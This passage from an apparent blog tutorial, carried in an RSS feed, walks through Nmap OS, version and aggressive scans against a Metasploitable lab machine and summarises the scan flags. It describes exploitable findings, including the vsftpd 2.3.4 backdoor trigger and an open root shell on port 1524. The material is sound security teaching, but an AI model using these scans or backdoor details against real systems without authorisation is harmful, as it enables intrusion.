&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcjahamk06am7kvmceetb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcjahamk06am7kvmceetb.png" alt=" " width="800" height="607"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Results:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Device type&lt;/td&gt;
&lt;td&gt;general purpose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OS CPE&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cpe:/o:linux:linux_kernel:2.6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OS details&lt;/td&gt;
&lt;td&gt;Linux 2.6.9 – 2.6.33&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The actual kernel version, confirmed inside the VM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt;
&lt;span class="c"&gt;# 2.6.24-16-server&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyajw9jc4a7fxqnwknc14.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyajw9jc4a7fxqnwknc14.png" alt=" " width="717" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nmap's range was &lt;code&gt;2.6.9 – 2.6.33&lt;/code&gt;. The real kernel is &lt;code&gt;2.6.24&lt;/code&gt; — squarely within that range. OS fingerprinting is probabilistic, but tight enough to target version-specific kernel exploits.&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 5: Version and Service Scanning
&lt;/h2&gt;

&lt;p&gt;Port numbers tell you what service is &lt;em&gt;supposed&lt;/em&gt; to be there. Version scanning tells you what is &lt;em&gt;actually&lt;/em&gt; there — the specific software version you need to look up CVEs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuxko5mtfaroubyck2tu4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fuxko5mtfaroubyck2tu4.png" alt=" " width="800" height="523"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Selected findings:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;21/tcp&lt;/td&gt;
&lt;td&gt;ftp&lt;/td&gt;
&lt;td&gt;vsftpd 2.3.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22/tcp&lt;/td&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;53/tcp&lt;/td&gt;
&lt;td&gt;domain&lt;/td&gt;
&lt;td&gt;ISC BIND 9.4.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80/tcp&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache httpd 2.2.8 (Ubuntu) DAV/2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;139/tcp&lt;/td&gt;
&lt;td&gt;netbios-ssn&lt;/td&gt;
&lt;td&gt;Samba smbd 3.X – 4.X (workgroup: WORKGROUP)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1524/tcp&lt;/td&gt;
&lt;td&gt;bindshell&lt;/td&gt;
&lt;td&gt;Metasploitable root shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3306/tcp&lt;/td&gt;
&lt;td&gt;mysql&lt;/td&gt;
&lt;td&gt;MySQL 5.0.51a-3ubuntu5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5432/tcp&lt;/td&gt;
&lt;td&gt;postgresql&lt;/td&gt;
&lt;td&gt;PostgreSQL DB 8.3.0 – 8.3.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5900/tcp&lt;/td&gt;
&lt;td&gt;vnc&lt;/td&gt;
&lt;td&gt;VNC (protocol 3.3)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8180/tcp&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache Tomcat/Coyote JSP engine 1.1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;vsftpd 2.3.4&lt;/strong&gt; contains a backdoor — appending &lt;code&gt;:)&lt;/code&gt; to a username during FTP login opens a root shell on port 6200. &lt;strong&gt;OpenSSH 4.7p1&lt;/strong&gt; is from 2007. Port 1524 is labeled "Metasploitable root shell" — Nmap's script engine recognized it as an intentional backdoor, not a legitimate service.&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 6: Complete Scan — Everything at Once
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fybgwkhks1gzes24wbm0y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fybgwkhks1gzes24wbm0y.png" alt=" " width="799" height="382"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv55wn4v1t4k9fbze8ltw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fv55wn4v1t4k9fbze8ltw.png" alt=" " width="800" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4g3ds7z62zt0okj8zw5v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4g3ds7z62zt0okj8zw5v.png" alt=" " width="799" height="406"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj7q2o7fe7g13f1gdlpor.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj7q2o7fe7g13f1gdlpor.png" alt=" " width="798" height="223"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frj45i8pqmoa2qrz8dsp7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frj45i8pqmoa2qrz8dsp7.png" alt=" " width="799" height="264"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NetBIOS workgroup:&lt;/strong&gt; &lt;code&gt;WORKGROUP&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2048-bit RSA SSH host key:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additional findings from the aggressive scan:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;FTP: &lt;strong&gt;anonymous login allowed&lt;/strong&gt; — no credentials required&lt;/li&gt;
&lt;li&gt;VNC: &lt;strong&gt;no authentication&lt;/strong&gt; — Security Type None&lt;/li&gt;
&lt;li&gt;SMTP: PIPELINING, VRFY enabled (allows username enumeration)&lt;/li&gt;
&lt;li&gt;IRC: UnrealIRCd on &lt;code&gt;irc.Metasploitable.LAN&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Samba: computer name &lt;code&gt;metasploitable&lt;/code&gt;, domain &lt;code&gt;localdomain&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;MySQL: Protocol 10, version 5.0.51a&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;VNC with no authentication means graphical takeover from anywhere on the network. Anonymous FTP means open read/write access to the FTP share. With the root shell on 1524 and the vsftpd backdoor on 21, this machine offers multiple paths to full compromise.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Complete Nmap Scanning Sequence
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Scan Type&lt;/th&gt;
&lt;th&gt;How It Works&lt;/th&gt;
&lt;th&gt;When to Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Host discovery&lt;/td&gt;
&lt;td&gt;ARP (local) or ICMP+TCP (remote)&lt;/td&gt;
&lt;td&gt;Confirming targets before scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP connect&lt;/td&gt;
&lt;td&gt;Full three-way handshake&lt;/td&gt;
&lt;td&gt;When you do not have root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP SYN&lt;/td&gt;
&lt;td&gt;Half-open (SYN → SYN-ACK → RST)&lt;/td&gt;
&lt;td&gt;Default with root — faster, quieter&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sU&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;UDP&lt;/td&gt;
&lt;td&gt;Protocol probes + ICMP port unreachable&lt;/td&gt;
&lt;td&gt;Finding UDP services often missed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-O&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;OS detection&lt;/td&gt;
&lt;td&gt;TCP/IP stack fingerprinting&lt;/td&gt;
&lt;td&gt;Targeting kernel-specific exploits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sV&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version scan&lt;/td&gt;
&lt;td&gt;Banner grabbing + service probes&lt;/td&gt;
&lt;td&gt;Finding exact software versions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Aggressive&lt;/td&gt;
&lt;td&gt;All of the above + NSE scripts + traceroute&lt;/td&gt;
&lt;td&gt;Deep dive on specific confirmed targets&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ARP vs ICMP matters&lt;/strong&gt; — On a local network, Nmap uses ARP as root. On a remote target, it uses ICMP and TCP. Understanding the difference changes how you interpret Wireshark captures alongside Nmap output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Version numbers are the bridge to exploitation&lt;/strong&gt; — A port number is a hint. A version number is an exploit reference. vsftpd 2.3.4 has a documented backdoor. BIND 9.4.2 has published CVEs. The version scan is where reconnaissance becomes actionable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OS fingerprinting is probabilistic, not exact&lt;/strong&gt; — The range &lt;code&gt;2.6.9–2.6.33&lt;/code&gt; was correct, but it is a range. Exact kernel version needed &lt;code&gt;uname -r&lt;/code&gt; inside the box. Use OS detection to narrow down — not to pin down.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UDP is hard but necessary&lt;/strong&gt; — Skipping UDP scanning leaves DNS, NFS, and NetBIOS invisible. Those three services alone represent significant attack surface. The &lt;code&gt;-sV&lt;/code&gt; flag is what separates &lt;code&gt;open|filtered&lt;/code&gt; noise from confirmed &lt;code&gt;open&lt;/code&gt; ports.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The &lt;code&gt;-A&lt;/code&gt; scan reveals what port numbers hide&lt;/strong&gt; — Without &lt;code&gt;-A&lt;/code&gt;, port 1524 shows as &lt;code&gt;ingreslock&lt;/code&gt;. With &lt;code&gt;-A&lt;/code&gt;, it shows as "Metasploitable root shell." Scripts and banner grabbing turn a list of numbers into intelligence.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;What Happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Running without &lt;code&gt;sudo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;No ARP on local networks, weaker host detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Skipping &lt;code&gt;-sV&lt;/code&gt; on UDP&lt;/td&gt;
&lt;td&gt;Most UDP ports show as `open\&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Default timing on remote UDP&lt;/td&gt;
&lt;td&gt;Scan can take hours&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Running {% raw %}&lt;code&gt;-A&lt;/code&gt; against full subnets&lt;/td&gt;
&lt;td&gt;Takes forever, generates huge noise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trusting port numbers alone&lt;/td&gt;
&lt;td&gt;Port 1524 shows as &lt;code&gt;ingreslock&lt;/code&gt; without version scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Nmap is not one tool — it is a collection of scanning techniques, each suited to a different phase. A basic port scan leaves UDP services, OS details, version information, and service-level vulnerabilities completely invisible.&lt;/p&gt;

&lt;p&gt;The sequence that makes sense: host discovery first, then TCP port scan, then UDP on interesting targets, then version and OS detection on confirmed hosts, and finally a full aggressive scan against specific high-value targets once you know they exist.&lt;/p&gt;

&lt;p&gt;Know what you are scanning. Know what you found. Then decide what comes next.&lt;/p&gt;

</description>
      <category>nmap</category>
      <category>ethicalhacking</category>
      <category>networking</category>
      <category>penetrationtesting</category>
    </item>
  </channel>
</rss>
